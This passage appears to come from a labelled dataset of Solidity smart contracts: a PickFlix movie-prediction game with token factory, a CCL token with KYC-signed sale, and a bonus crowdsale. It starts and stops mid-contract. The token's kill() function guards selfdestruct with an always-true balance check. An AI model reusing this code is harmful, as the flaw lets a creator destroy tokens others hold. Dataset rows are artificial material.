address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
interface IPickFlixToken {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender)
external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value)
external returns (bool);
function transferFrom(address from, address to, uint256 value)
external returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
function closeNow() public;
function kill() public;
function rate() public view returns(uint256);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(
address owner,
address spender
)
public
view
returns (uint256)
{
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(
address from,
address to,
uint256 value
)
public
returns (bool)
{
require(value <= _allowed[from][msg.sender]);
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
return true;
}
function increaseAllowance(
address spender,
uint256 addedValue
)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (
_allowed[msg.sender][spender].add(addedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function decreaseAllowance(
address spender,
uint256 subtractedValue
)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (
_allowed[msg.sender][spender].sub(subtractedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function _transfer(address from, address to, uint256 value) internal {
require(value <= _balances[from]);
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
function _mint(address account, uint256 value) internal {
require(account != 0);
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
function _burn(address account, uint256 value) internal {
require(account != 0);
require(value <= _balances[account]);
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
function _burnFrom(address account, uint256 value) internal {
require(value <= _allowed[account][msg.sender]);
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(
value);
_burn(account, value);
}
}
library Roles {
struct Role {
mapping (address => bool) bearer;
}
function add(Role storage role, address account) internal {
require(account != address(0));
role.bearer[account] = true;
}
function remove(Role storage role, address account) internal {
require(account != address(0));
role.bearer[account] = false;
}
function has(Role storage role, address account)
internal
view
returns (bool)
{
require(account != address(0));
return role.bearer[account];
}
}
contract MinterRole {
using Roles for Roles.Role;
event MinterAdded(address indexed account);
event MinterRemoved(address indexed account);
Roles.Role private minters;
constructor(address minter) public {
if(minter == 0x0) {
_addMinter(msg.sender);
} else {
_addMinter(minter);
}
}
modifier onlyMinter() {
require(isMinter(msg.sender), "Only minter can do this");
_;
}
function isMinter(address account) public view returns (bool) {
return minters.has(account);
}
function addMinter(address account) public onlyMinter {
_addMinter(account);
}
function renounceMinter() public {
_removeMinter(msg.sender);
}
function _addMinter(address account) internal {
minters.add(account);
emit MinterAdded(account);
}
function _removeMinter(address account) internal {
minters.remove(account);
emit MinterRemoved(account);
}
}
contract ERC20Mintable is ERC20, MinterRole {
function mint(
address to,
uint256 value
)
public
onlyMinter
returns (bool)
{
_mint(to, value);
return true;
}
}
library SafeERC20 {
function safeTransfer(
IERC20 token,
address to,
uint256 value
)
internal
{
require(token.transfer(to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
)
internal
{
require(token.transferFrom(from, to, value));
}
function safeApprove(
IERC20 token,
address spender,
uint256 value
)
internal
{
require(token.approve(spender, value));
}
}
contract Crowdsale {
using SafeMath for uint256;
using SafeERC20 for IERC20;
IERC20 private _token;
address private _wallet;
uint256 private _rate;
uint256 private _weiRaised;
event TokensPurchased(
address indexed purchaser,
address indexed beneficiary,
uint256 value,
uint256 amount
);
constructor(uint256 rate, address wallet, IERC20 token) public {
require(rate > 0);
require(wallet != address(0));
require(token != address(0));
_rate = rate;
_wallet = wallet;
_token = token;
}
function () external payable {
buyTokens(msg.sender);
}
function token() public view returns(IERC20) {
return _token;
}
function wallet() public view returns(address) {
return _wallet;
}
function rate() public view returns(uint256) {
return _rate;
}
function weiRaised() public view returns (uint256) {
return _weiRaised;
}
function buyTokens(address beneficiary) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(beneficiary, weiAmount);
uint256 tokens = _getTokenAmount(weiAmount);
_weiRaised = _weiRaised.add(weiAmount);
_processPurchase(beneficiary, tokens);
emit TokensPurchased(
msg.sender,
beneficiary,
weiAmount,
tokens
);
_updatePurchasingState(beneficiary, weiAmount);
_forwardFunds();
_postValidatePurchase(beneficiary, weiAmount);
}
function _preValidatePurchase(
address beneficiary,
uint256 weiAmount
)
internal
{
require(beneficiary != address(0));
require(weiAmount != 0);
}
function _postValidatePurchase(
address beneficiary,
uint256 weiAmount
)
internal
{
}
function _deliverTokens(
address beneficiary,
uint256 tokenAmount
)
internal
{
_token.safeTransfer(beneficiary, tokenAmount);
}
function _processPurchase(
address beneficiary,
uint256 tokenAmount
)
internal
{
_deliverTokens(beneficiary, tokenAmount);
}
function _updatePurchasingState(
address beneficiary,
uint256 weiAmount
)
internal
{
}
function _getTokenAmount(uint256 weiAmount)
internal view returns (uint256)
{
return weiAmount.mul(_rate);
}
function _forwardFunds() internal {
_wallet.transfer(msg.value);
}
}
contract TimedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 private _openingTime;
uint256 internal _closingTime;
modifier onlyWhileOpen {
require(isOpen(), "Crowdsale is no longer open");
_;
}
constructor(uint256 openingTime, uint256 closingTime) public {
require(openingTime >= block.timestamp, "The Crowdsale must not start in the past");
require(closingTime >= openingTime, "The Crowdsale must end in the future");
_openingTime = openingTime;
_closingTime = closingTime;
}
function openingTime() public view returns(uint256) {
return _openingTime;
}
function closingTime() public view returns(uint256) {
return _closingTime;
}
function isOpen() public view returns (bool) {
return block.timestamp >= _openingTime && block.timestamp <= _closingTime;
}
function hasClosed() public view returns (bool) {
return block.timestamp > _closingTime;
}
function _preValidatePurchase(
address beneficiary,
uint256 weiAmount
)
internal
onlyWhileOpen
{
super._preValidatePurchase(beneficiary, weiAmount);
}
}
contract DeadlineCrowdsale is TimedCrowdsale {
constructor(uint256 closingTime) public TimedCrowdsale(block.timestamp, closingTime) { }
}
contract MintedCrowdsale is Crowdsale {
function _deliverTokens(
address beneficiary,
uint256 tokenAmount
)
internal
{
require(
ERC20Mintable(address(token())).mint(beneficiary, tokenAmount));
}
}
contract PickFlixToken is ERC20Mintable, DeadlineCrowdsale, MintedCrowdsale {
string public name = "";
string public symbol = "";
string public externalID = "";
uint public decimals = 18;
constructor(string _name, string _symbol, uint256 _rate, address _wallet, uint _closeDate, string _externalID)
public
Crowdsale(_rate, _wallet, this)
ERC20Mintable()
MinterRole(this)
DeadlineCrowdsale(_closeDate) {
externalID = _externalID;
name = _name;
symbol = _symbol;
}
function closeNow() public {
require(msg.sender == wallet(), "Must be the creator to close this token");
_closingTime = block.timestamp - 1;
}
function kill() public {
require(msg.sender == wallet(), "Must be the creator to kill this token");
require(balanceOf(wallet()) >= 0, "Must have no tokens, or the creator owns all the tokens");
selfdestruct(wallet());
}
}
contract Ownable {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns(address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner(), "Must be owner");
_;
}
function isOwner() public view returns(bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Must provide a valid owner address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract PickflixGameMaster is Ownable {
using SafeMath for uint256;
event Sent(address indexed payee, uint256 amount, uint256 balance);
event Received(address indexed payer, uint256 amount, uint256 balance);
string public gameName;
uint public openDate;
uint public closeDate;
bool public gameDone;
mapping (address => uint256) public boxOfficeTotals;
struct Movie {
uint256 boxOfficeTotal;
uint256 totalPlayerRewards;
bool accepted;
}
mapping (address => Movie) public movies;
uint256 public tokensIssued = 0;
uint256 public oracleFee = 0;
uint256 public oracleFeePercent = 0;
uint256 public totalPlayerRewards = 0;
uint256 public totalBoxOffice = 0;
constructor(string _gameName, uint _closeDate, uint _oracleFeePercent) Ownable() public {
gameName = _gameName;
closeDate = _closeDate;
openDate = block.timestamp;
gameDone = false;
oracleFeePercent = _oracleFeePercent;
}
function percent(uint numerator, uint denominator, uint precision) private pure returns(uint quotient) {
uint _numerator = (numerator * 10 ** (precision+1));
uint _quotient = ((_numerator / denominator)) / 10;
return ( _quotient);
}
function () public payable {
emit Received(msg.sender, msg.value, address(this).balance);
}
function sendTo(address _payee, uint256 _amount) private {
require(_payee != 0 && _payee != address(this), "Burning tokens and self transfer not allowed");
require(_amount > 0, "Must transfer greater than zero");
_payee.transfer(_amount);
emit Sent(_payee, _amount, address(this).balance);
}
function balanceOf() public view returns (uint256) {
return address(this).balance;
}
function redeemTokens(address _player, address _tokenAddress) public returns (bool success) {
require(acceptedToken(_tokenAddress), "Token must be a registered token");
require(block.timestamp >= closeDate, "Game must be closed");
require(gameDone == true, "Can't redeem tokens until results have been uploaded");
IPickFlixToken _token = IPickFlixToken(_tokenAddress);
uint256 _allowedValue = _token.allowance(_player, address(this));
_token.transferFrom(_player, address(this), _allowedValue);
uint256 _transferedTokens = _allowedValue;
uint256 _playerPercentage = percent(_transferedTokens, _token.totalSupply(), 4);
uint256 _playerRewards = movies[_tokenAddress].totalPlayerRewards.mul(_playerPercentage).div(10**4);
sendTo(_player, _playerRewards);
return true;
}
function acceptedToken(address _tokenAddress) public view returns (bool) {
return movies[_tokenAddress].accepted;
}
function calculateTokensIssued(address _tokenAddress) private view returns (uint256) {
IPickFlixToken _token = IPickFlixToken(_tokenAddress);
return _token.totalSupply();
}
function closeToken(address _tokenAddress) private {
IPickFlixToken _token = IPickFlixToken(_tokenAddress);
_token.closeNow();
}
function calculateTokenRate(address _tokenAddress) private view returns (uint256) {
IPickFlixToken _token = IPickFlixToken(_tokenAddress);
return _token.rate();
}
function calculateOracleFee() private view returns (uint256) {
return balanceOf().mul(oracleFeePercent).div(100);
}
function calculateTotalPlayerRewards() private view returns (uint256) {
return balanceOf().sub(oracleFee);
}
function calculateTotalBoxOffice(uint256[] _boxOfficeTotals) private pure returns (uint256) {
uint256 _totalBoxOffice = 0;
for (uint256 i = 0; i < _boxOfficeTotals.length; i++) {
_totalBoxOffice = _totalBoxOffice.add(_boxOfficeTotals[i]);
}
return _totalBoxOffice;
}
function calculateTotalPlayerRewardsPerMovie(uint256 _boxOfficeTotal) public view returns (uint256) {
uint256 _boxOfficePercentage = percent(_boxOfficeTotal, totalBoxOffice, 4);
uint256 _rewards = totalPlayerRewards.mul(_boxOfficePercentage).div(10**4);
return _rewards;
}
function calculateRewardPerToken(uint256 _boxOfficeTotal, address tokenAddress) public view returns (uint256) {
IPickFlixToken token = IPickFlixToken(tokenAddress);
uint256 _playerBalance = token.balanceOf(msg.sender);
uint256 _playerPercentage = percent(_playerBalance, token.totalSupply(), 4);
uint256 _playerRewards = movies[tokenAddress].totalPlayerRewards.mul(_playerPercentage).div(10**4);
return _playerRewards;
}
function calculateGameResults(address[] _tokenAddresses, uint256[] _boxOfficeTotals) public onlyOwner {
require(_tokenAddresses.length == _boxOfficeTotals.length, "Must have box office results per token");
require(gameDone == false, "Can only submit results once");
require(block.timestamp >= closeDate, "Game must have ended before results can be entered");
oracleFee = calculateOracleFee();
totalPlayerRewards = calculateTotalPlayerRewards();
totalBoxOffice = calculateTotalBoxOffice(_boxOfficeTotals);
for (uint256 i = 0; i < _tokenAddresses.length; i++) {
tokensIssued = tokensIssued.add(calculateTokensIssued(_tokenAddresses[i]));
movies[_tokenAddresses[i]] = Movie(_boxOfficeTotals[i], calculateTotalPlayerRewardsPerMovie(_boxOfficeTotals[i]), true);
}
owner().transfer(oracleFee);
gameDone = true;
}
function abortGame(address[] _tokenAddresses) public onlyOwner {
require(gameDone == false, "Can only submit results once");
oracleFee = 0;
totalPlayerRewards = calculateTotalPlayerRewards();
closeDate = block.timestamp;
for (uint256 i = 0; i < _tokenAddresses.length; i++) {
uint tokenSupply = calculateTokensIssued(_tokenAddresses[i]);
tokensIssued = tokensIssued.add(tokenSupply);
closeToken(_tokenAddresses[i]);
}
totalBoxOffice = tokensIssued;
for (i = 0; i < _tokenAddresses.length; i++) {
tokenSupply = calculateTokensIssued(_tokenAddresses[i]);
movies[_tokenAddresses[i]] = Movie(tokenSupply, calculateTotalPlayerRewardsPerMovie(tokenSupply), true);
}
gameDone = true;
}
function killGame(address[] _tokenAddresses) public onlyOwner {
for (uint i = 0; i < _tokenAddresses.length; i++) {
IPickFlixToken token = IPickFlixToken(_tokenAddresses[i]);
require(token.balanceOf(this) == token.totalSupply());
token.kill();
}
selfdestruct(owner());
}
}
contract PickflixGameFactory {
struct Game {
string gameName;
address gameMaster;
uint openDate;
uint closeDate;
}
Game[] public games;
mapping(address => address[]) public gameTokens;
address public owner;
address public oracleFeeReceiver;
event OraclePayoutReceived(uint value);
constructor() public {
owner = msg.sender;
oracleFeeReceiver = msg.sender;
}
function () public payable {
emit OraclePayoutReceived(msg.value);
}
modifier onlyOwner {
require(msg.sender == owner, "Only owner can execute this");
_;
}
function createGame(string gameName, uint closeDate, uint oracleFeePercent) public onlyOwner returns (address){
address gameMaster = new PickflixGameMaster(gameName, closeDate, oracleFeePercent);
games.push(Game({
gameName: gameName,
gameMaster: gameMaster,
openDate: block.timestamp,
closeDate: closeDate
}));
return gameMaster;
}
function createTokenForGame(uint gameIndex, string tokenName, string tokenSymbol, uint rate, string externalID) public onlyOwner returns (address) {
Game storage game = games[gameIndex];
address token = new PickFlixToken(tokenName, tokenSymbol, rate, game.gameMaster, game.closeDate, externalID);
gameTokens[game.gameMaster].push(token);
return token;
}
function closeGame(uint gameIndex, address[] _tokenAddresses, uint256[] _boxOfficeTotals) public onlyOwner {
PickflixGameMaster(games[gameIndex].gameMaster).calculateGameResults(_tokenAddresses, _boxOfficeTotals);
}
function abortGame(uint gameIndex) public onlyOwner {
address gameMaster = games[gameIndex].gameMaster;
PickflixGameMaster(gameMaster).abortGame(gameTokens[gameMaster]);
}
function killGame(uint gameIndex) public onlyOwner {
address gameMaster = games[gameIndex].gameMaster;
PickflixGameMaster(gameMaster).killGame(gameTokens[gameMaster]);
games[gameIndex] = games[games.length-1];
delete games[games.length-1];
games.length--;
}
function setOwner(address newOwner) public onlyOwner {
owner = newOwner;
}
function setOracleFeeReceiver(address newReceiver) public onlyOwner {
oracleFeeReceiver = newReceiver;
}
function sendOraclePayout() public {
oracleFeeReceiver.transfer(address(this).balance);
}
} | 0 | 2,462 |
pragma solidity ^0.4.21;
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract CCLToken is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
function CCLToken() public {
symbol = "CCL";
name = "CyClean Token";
decimals = 18;
_totalSupply = 4000000000000000000000000000;
balances[0xf835bF0285c99102eaedd684b4401272eF36aF65] = _totalSupply;
Transfer(address(0), 0xf835bF0285c99102eaedd684b4401272eF36aF65, _totalSupply);
}
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function () public payable {
revert();
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
}
contract ICOEngineInterface {
function started() public view returns(bool);
function ended() public view returns(bool);
function startTime() public view returns(uint);
function endTime() public view returns(uint);
function totalTokens() public view returns(uint);
function remainingTokens() public view returns(uint);
function price() public view returns(uint);
}
library SafeMathLib {
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
}
contract KYCBase {
using SafeMathLib for uint256;
mapping (address => bool) public isKycSigner;
mapping (uint64 => uint256) public alreadyPayed;
event KycVerified(address indexed signer, address buyerAddress, uint64 buyerId, uint maxAmount);
event ThisCheck(KYCBase base, address sender);
constructor ( address[] kycSigners) internal {
for (uint i = 0; i < kycSigners.length; i++) {
isKycSigner[kycSigners[i]] = true;
}
}
function releaseTokensTo(address buyer) internal returns(bool);
function senderAllowedFor(address buyer)
internal view returns(bool)
{
return buyer == msg.sender;
}
function buyTokensFor(address buyerAddress, uint64 buyerId, uint maxAmount, uint8 v, bytes32 r, bytes32 s)
public payable returns (bool)
{
require(senderAllowedFor(buyerAddress));
return buyImplementation(buyerAddress, buyerId, maxAmount, v, r, s);
}
function buyTokens(uint64 buyerId, uint maxAmount, uint8 v, bytes32 r, bytes32 s)
public payable returns (bool)
{
return buyImplementation(msg.sender, buyerId, maxAmount, v, r, s);
}
function buyImplementation(address buyerAddress, uint64 buyerId, uint maxAmount, uint8 v, bytes32 r, bytes32 s)
private returns (bool)
{
bytes32 hash = sha256(abi.encodePacked("Eidoo icoengine authorization", this, buyerAddress, buyerId, maxAmount));
emit ThisCheck(this, msg.sender);
address signer = ecrecover(hash, v, r, s);
if (!isKycSigner[signer]) {
revert();
} else {
uint256 totalPayed = alreadyPayed[buyerId].add(msg.value);
require(totalPayed <= maxAmount);
alreadyPayed[buyerId] = totalPayed;
emit KycVerified(signer, buyerAddress, buyerId, maxAmount);
return releaseTokensTo(buyerAddress);
}
}
function () public {
revert();
}
}
contract TokenSale is ICOEngineInterface, KYCBase {
using SafeMathLib for uint;
event ReleaseTokensToCalled(address buyer);
event ReleaseTokensToCalledDetail(address wallet, address buyer, uint amount, uint remainingTokensValue);
event SenderCheck(address sender);
CCLToken public token;
address public wallet;
uint private priceValue;
function price() public view returns(uint) {
return priceValue;
}
uint private startTimeValue;
function startTime() public view returns(uint) {
return startTimeValue;
}
uint private endTimeValue;
function endTime() public view returns(uint) {
return endTimeValue;
}
uint private totalTokensValue;
function totalTokens() public view returns(uint) {
return totalTokensValue;
}
uint private remainingTokensValue;
function remainingTokens() public view returns(uint) {
return remainingTokensValue;
}
constructor ( address[] kycSigner, CCLToken _token, address _wallet, uint _startTime, uint _endTime, uint _price, uint _totalTokens)
public KYCBase(kycSigner)
{
token = _token;
wallet = _wallet;
startTimeValue = _startTime;
endTimeValue = _endTime;
priceValue = _price;
totalTokensValue = _totalTokens;
remainingTokensValue = _totalTokens;
}
function releaseTokensTo(address buyer) internal returns(bool) {
require(now >= startTimeValue && now < endTimeValue);
uint amount = msg.value.mul(priceValue);
remainingTokensValue = remainingTokensValue.sub(amount);
emit ReleaseTokensToCalledDetail(wallet, buyer, amount, remainingTokensValue);
wallet.transfer(msg.value);
token.transferFrom(wallet, buyer, amount);
emit ReleaseTokensToCalled(buyer);
return true;
}
function started() public view returns(bool) {
return now >= startTimeValue;
}
function ended() public view returns(bool) {
return now >= endTimeValue || remainingTokensValue == 0;
}
function senderAllowedFor(address buyer)
internal view returns(bool)
{
bool value = super.senderAllowedFor(buyer);
return value;
}
} | 0 | 1,113 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract Crowdsale {
using SafeMath for uint256;
MintableToken public token;
uint256 public startTime;
uint256 public endTime;
address public wallet;
uint256 public rate;
uint256 public weiRaised;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
function Crowdsale(uint256 _startTime, uint256 _endTime, uint256 _rate, address _wallet) public {
require(_startTime >= now);
require(_endTime >= _startTime);
require(_rate > 0);
require(_wallet != address(0));
token = createTokenContract();
startTime = _startTime;
endTime = _endTime;
rate = _rate;
wallet = _wallet;
}
function createTokenContract() internal returns (MintableToken) {
return new MintableToken();
}
function () external payable {
buyTokens(msg.sender);
}
function buyTokens(address beneficiary) public payable {
require(beneficiary != address(0));
require(validPurchase());
uint256 weiAmount = msg.value;
uint256 tokens = weiAmount.mul(rate);
weiRaised = weiRaised.add(weiAmount);
token.mint(beneficiary, tokens);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
forwardFunds();
}
function forwardFunds() internal {
wallet.transfer(msg.value);
}
function validPurchase() internal view returns (bool) {
bool withinPeriod = now >= startTime && now <= endTime;
bool nonZeroPurchase = msg.value != 0;
return withinPeriod && nonZeroPurchase;
}
function hasEnded() public view returns (bool) {
return now > endTime;
}
}
contract BonusCrowdsale is Crowdsale, Ownable {
uint32[] public BONUS_TIMES;
uint32[] public BONUS_TIMES_VALUES;
uint32[] public BONUS_AMOUNTS;
uint32[] public BONUS_AMOUNTS_VALUES;
uint public constant BONUS_COEFF = 1000;
uint public tokenPriceInCents;
function BonusCrowdsale(uint256 _tokenPriceInCents) public {
tokenPriceInCents = _tokenPriceInCents;
}
function bonusesForTimesCount() public constant returns(uint) {
return BONUS_TIMES.length;
}
function setBonusesForTimes(uint32[] times, uint32[] values) public onlyOwner {
require(times.length == values.length);
for (uint i = 0; i + 1 < times.length; i++) {
require(times[i] < times[i+1]);
}
BONUS_TIMES = times;
BONUS_TIMES_VALUES = values;
}
function bonusesForAmountsCount() public constant returns(uint) {
return BONUS_AMOUNTS.length;
}
function setBonusesForAmounts(uint32[] amounts, uint32[] values) public onlyOwner {
require(amounts.length == values.length);
for (uint i = 0; i + 1 < amounts.length; i++) {
require(amounts[i] > amounts[i+1]);
}
BONUS_AMOUNTS = amounts;
BONUS_AMOUNTS_VALUES = values;
}
function buyTokens(address beneficiary) public payable {
uint256 usdValue = msg.value.mul(rate).mul(tokenPriceInCents).div(1000).div(1 ether);
uint256 bonus = computeBonus(usdValue);
uint256 oldRate = rate;
rate = rate.mul(BONUS_COEFF.add(bonus)).div(BONUS_COEFF);
super.buyTokens(beneficiary);
rate = oldRate;
}
function computeBonus(uint256 usdValue) public constant returns(uint256) {
return computeAmountBonus(usdValue).add(computeTimeBonus());
}
function computeTimeBonus() public constant returns(uint256) {
require(now >= startTime);
for (uint i = 0; i < BONUS_TIMES.length; i++) {
if (now.sub(startTime) <= BONUS_TIMES[i]) {
return BONUS_TIMES_VALUES[i];
}
}
return 0;
}
function computeAmountBonus(uint256 usdValue) public constant returns(uint256) {
for (uint i = 0; i < BONUS_AMOUNTS.length; i++) {
if (usdValue >= BONUS_AMOUNTS[i]) {
return BONUS_AMOUNTS_VALUES[i];
}
}
return 0;
}
}
contract TokensCappedCrowdsale is Crowdsale {
uint256 public tokensCap;
function TokensCappedCrowdsale(uint256 _tokensCap) public {
tokensCap = _tokensCap;
}
function validPurchase() internal constant returns(bool) {
uint256 tokens = token.totalSupply().add(msg.value.mul(rate));
bool withinCap = tokens <= tokensCap;
return super.validPurchase() && withinCap;
}
function hasEnded() public constant returns(bool) {
bool capReached = token.totalSupply() >= tokensCap;
return super.hasEnded() || capReached;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
